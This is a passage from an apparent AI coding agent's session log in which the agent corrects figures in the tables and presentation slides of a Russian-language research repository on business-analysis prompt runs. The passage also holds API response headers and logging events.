\u0440\u0435\u0448\u0435\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" [ADR-017: \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0432 Source](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md),\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" [\u0441\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md).\"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             },\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 474,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 9,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 489,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 10,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" | \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 | \u0413\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" | --- | --- |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-| 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430, \u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 | [`mango_ba_prompts/runs`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs), [\u0441\u043d\u0438\u043c\u043e\u043a \u043a\u043e\u0440\u043f\u0443\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md) |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+| 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 (\u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026), 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430 | [`mango_ba_prompts/runs`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs), [\u0441\u043d\u0438\u043c\u043e\u043a \u043a\u043e\u0440\u043f\u0443\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md) |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" | 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u044b \u043f\u043e \u0434\u0435\u0444\u0435\u043a\u0442\u0430\u043c, 4 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 | [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md) |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" | `M-1 = 0.0`, 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014 17 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440 | [\u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md) |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+| 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u0431\u0435\u0437 \u043f\u0440\u0430\u0432\u043a\u0438 | [\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md) |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" | 10 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445 | [\u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md) |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" | \u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b `MM-1`\u2026`MM-4` | [\u0442\u0435\u043e\u0440\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md) |\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" | 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f, 5 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 | [\u0442\u0435\u043e\u0440\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md) |\"\n[2026-09-29T07:51:08.496Z] [INFO]               ]\n[2026-09-29T07:51:08.496Z] [INFO]             }\n[2026-09-29T07:51:08.496Z] [INFO]           ]\n[2026-09-29T07:51:08.496Z] [INFO]         }\n[2026-09-29T07:51:08.496Z] [INFO]       ],\n[2026-09-29T07:51:08.496Z] [INFO]       \"moreFiles\": 0,\n[2026-09-29T07:51:08.496Z] [INFO]       \"changedFiles\": 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charset=utf-8\",\n[2026-09-29T07:51:09.849Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:51:09 GMT\",\n[2026-09-29T07:51:09.855Z] [STDOUT]     \"request-id\": \"req_011CfXNC7nHP3sa9TtXjHmsm\",\n[2026-09-29T07:51:09.859Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:51:09.864Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:09.883Z] [STDOUT]     traceresponse: \"00-b1eb70c162adcc3f5d300a36e7dc40ca-3399946e22dd7db5-01\",\n[2026-09-29T07:51:09.895Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:09.910Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:51:09.941Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:09.961Z] [STDOUT]   },\n[2026-09-29T07:51:09.969Z] [STDOUT]   durationMs: 814,\n[2026-09-29T07:51:09.981Z] [STDOUT] }\n[2026-09-29T07:51:09.990Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:51:10.007Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:51:09 GMT\",\n[2026-09-29T07:51:10.018Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:10.039Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:10.055Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:51:10.063Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:10.070Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:10.072Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:10.075Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:51:10.081Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:10.085Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:10.094Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:10.100Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:10.102Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:10.108Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:10.116Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:10.125Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:51:10.136Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:10.144Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:10.148Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:10.153Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:10.163Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:10.169Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:10.174Z] [STDOUT]   \"request-id\": \"req_011CfXNC7nHP3sa9TtXjHmsm\",\n[2026-09-29T07:51:10.192Z] [STDOUT]   \"traceresponse\": \"00-b1eb70c162adcc3f5d300a36e7dc40ca-3399946e22dd7db5-01\",\n[2026-09-29T07:51:10.196Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:10.207Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:10.210Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:51:10.213Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:10.216Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:10.220Z] [STDOUT]   \"cf-ray\": \"a42966a8185501ff-CDG\",\n[2026-09-29T07:51:10.228Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:51:10.232Z] [STDOUT] [log_2a7b01] response parsed {\n[2026-09-29T07:51:10.235Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:10.240Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:10.242Z] [STDOUT]   body: X {\n[2026-09-29T07:51:10.245Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:51:10.248Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:51:10.252Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:51:10.260Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:51:10.293Z] [STDOUT]     },\n[2026-09-29T07:51:10.304Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:51:10.309Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:51:10.315Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:51:10.321Z] [STDOUT]   },\n[2026-09-29T07:51:10.327Z] [STDOUT]   durationMs: 815,\n[2026-09-29T07:51:10.332Z] [STDOUT] }\n[2026-09-29T07:51:10.335Z] [INFO] {\n[2026-09-29T07:51:10.335Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:10.335Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:10.335Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:51:10.335Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:10.335Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:10.335Z] [INFO]   \"uuid\": \"67e1d30c-038b-4a71-bf5e-f114e5a2e781\"\n[2026-09-29T07:51:10.335Z] [INFO] }\n[2026-09-29T07:51:11.161Z] [INFO] {\n[2026-09-29T07:51:11.161Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:11.161Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:11.161Z] [INFO]   \"estimated_tokens\": 100,\n[2026-09-29T07:51:11.161Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:11.161Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:11.161Z] [INFO]   \"uuid\": \"f8e50e73-db9c-41c8-a00b-c06b6fb118af\"\n[2026-09-29T07:51:11.161Z] [INFO] }\n[2026-09-29T07:51:12.522Z] [INFO] {\n[2026-09-29T07:51:12.522Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:12.522Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:12.522Z] [INFO]   \"estimated_tokens\": 300,\n[2026-09-29T07:51:12.522Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:12.522Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:12.522Z] [INFO]   \"uuid\": \"e86efab2-2580-4a37-8de2-9e41efa1f990\"\n[2026-09-29T07:51:12.522Z] [INFO] }\n[2026-09-29T07:51:13.359Z] [INFO] {\n[2026-09-29T07:51:13.359Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:51:13.359Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:51:13.359Z] [INFO]   \"estimated_tokens\": 420,\n[2026-09-29T07:51:13.359Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:51:13.359Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:13.359Z] [INFO]   \"uuid\": \"08efc72f-a0c5-4842-ac13-1eee9c7f333d\"\n[2026-09-29T07:51:13.359Z] [INFO] }\n[2026-09-29T07:51:13.389Z] [INFO] {\n[2026-09-29T07:51:13.389Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:13.389Z] [INFO]   \"message\": {\n[2026-09-29T07:51:13.389Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:13.389Z] [INFO]     \"id\": \"msg_011CfXNC8MW4P635BcVaSAuZ\",\n[2026-09-29T07:51:13.389Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:13.389Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:13.389Z] [INFO]     \"content\": [\n[2026-09-29T07:51:13.389Z] [INFO]       {\n[2026-09-29T07:51:13.389Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:51:13.389Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:51:13.389Z] [INFO]         \"signature\": \"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\"\n[2026-09-29T07:51:13.389Z] [INFO]       }\n[2026-09-29T07:51:13.389Z] [INFO]     ],\n[2026-09-29T07:51:13.389Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:13.389Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:13.389Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:13.389Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:13.389Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:13.389Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:13.389Z] [INFO]       \"cache_creation_input_tokens\": 3616,\n[2026-09-29T07:51:13.389Z] [INFO]       \"cache_read_input_tokens\": 94847,\n[2026-09-29T07:51:13.389Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:13.389Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:13.389Z] [INFO]         \"ephemeral_1h_input_tokens\": 3616\n[2026-09-29T07:51:13.389Z] [INFO]       },\n[2026-09-29T07:51:13.389Z] [INFO]       \"output_tokens\": 5,\n[2026-09-29T07:51:13.389Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:13.389Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:13.389Z] [INFO]     },\n[2026-09-29T07:51:13.389Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:13.389Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:13.389Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:13.389Z] [INFO]   },\n[2026-09-29T07:51:13.389Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:13.389Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:13.389Z] [INFO]   \"uuid\": \"281473a2-85d7-4896-a682-330a9a7affb0\",\n[2026-09-29T07:51:13.389Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:13.350Z\",\n[2026-09-29T07:51:13.389Z] [INFO]   \"request_id\": \"req_011CfXNC7nHP3sa9TtXjHmsm\"\n[2026-09-29T07:51:13.389Z] [INFO] }\n[2026-09-29T07:51:16.633Z] [INFO] {\n[2026-09-29T07:51:16.633Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:16.633Z] [INFO]   \"message\": {\n[2026-09-29T07:51:16.633Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:16.633Z] [INFO]     \"id\": \"msg_011CfXNC8MW4P635BcVaSAuZ\",\n[2026-09-29T07:51:16.633Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:16.633Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:16.633Z] [INFO]     \"content\": [\n[2026-09-29T07:51:16.633Z] [INFO]       {\n[2026-09-29T07:51:16.633Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:51:16.633Z] [INFO]         \"id\": \"toolu_01JzFPFhoer4FFJrrnaFekEH\",\n[2026-09-29T07:51:16.633Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:51:16.633Z] [INFO]         \"input\": {\n[2026-09-29T07:51:16.633Z] [INFO]           \"command\": \"python3 - <<'EOF'\\np='2026-09-29-meta-model-presentation-slides.md'\\ns=open(p).read()\\na=\\\"\\\"\\\"- **\u0410\u0432\u0433\u0443\u0441\u0442:** 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e, \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432\\n  \u043d\u0435\u0442. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\\n- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430\u0448\u043b\u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432; 10 \u0438\u0437 12\\n  \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\\"\\\"\\\"\\nb=\\\"\\\"\\\"- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0430\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e,\\n  \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\\n- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432. \u0412\u0430\u0440\u0438\u0430\u043d\u0442\u044b\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043d\u0430 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443; 10 \u0438\u0437 12\\n  \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\\"\\\"\\\"\\nassert s.count(a)==1; s=s.replace(a,b); open(p,'w').write(s)\\nEOF\\nsed -n 180,215p 2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T07:51:16.633Z] [INFO]           \"description\": \"Fix slide 4 timeline accuracy\"\n[2026-09-29T07:51:16.633Z] [INFO]         },\n[2026-09-29T07:51:16.633Z] [INFO]         \"caller\": {\n[2026-09-29T07:51:16.633Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:51:16.633Z] [INFO]         }\n[2026-09-29T07:51:16.633Z] [INFO]       }\n[2026-09-29T07:51:16.633Z] [INFO]     ],\n[2026-09-29T07:51:16.633Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:16.633Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:16.633Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:16.633Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:16.633Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:16.633Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:16.633Z] [INFO]       \"cache_creation_input_tokens\": 3616,\n[2026-09-29T07:51:16.633Z] [INFO]       \"cache_read_input_tokens\": 94847,\n[2026-09-29T07:51:16.633Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:16.633Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:16.633Z] [INFO]         \"ephemeral_1h_input_tokens\": 3616\n[2026-09-29T07:51:16.633Z] [INFO]       },\n[2026-09-29T07:51:16.633Z] [INFO]       \"output_tokens\": 5,\n[2026-09-29T07:51:16.633Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:16.633Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:16.633Z] [INFO]     },\n[2026-09-29T07:51:16.633Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:16.633Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:16.633Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:16.633Z] [INFO]   },\n[2026-09-29T07:51:16.633Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:16.633Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:16.633Z] [INFO]   \"uuid\": 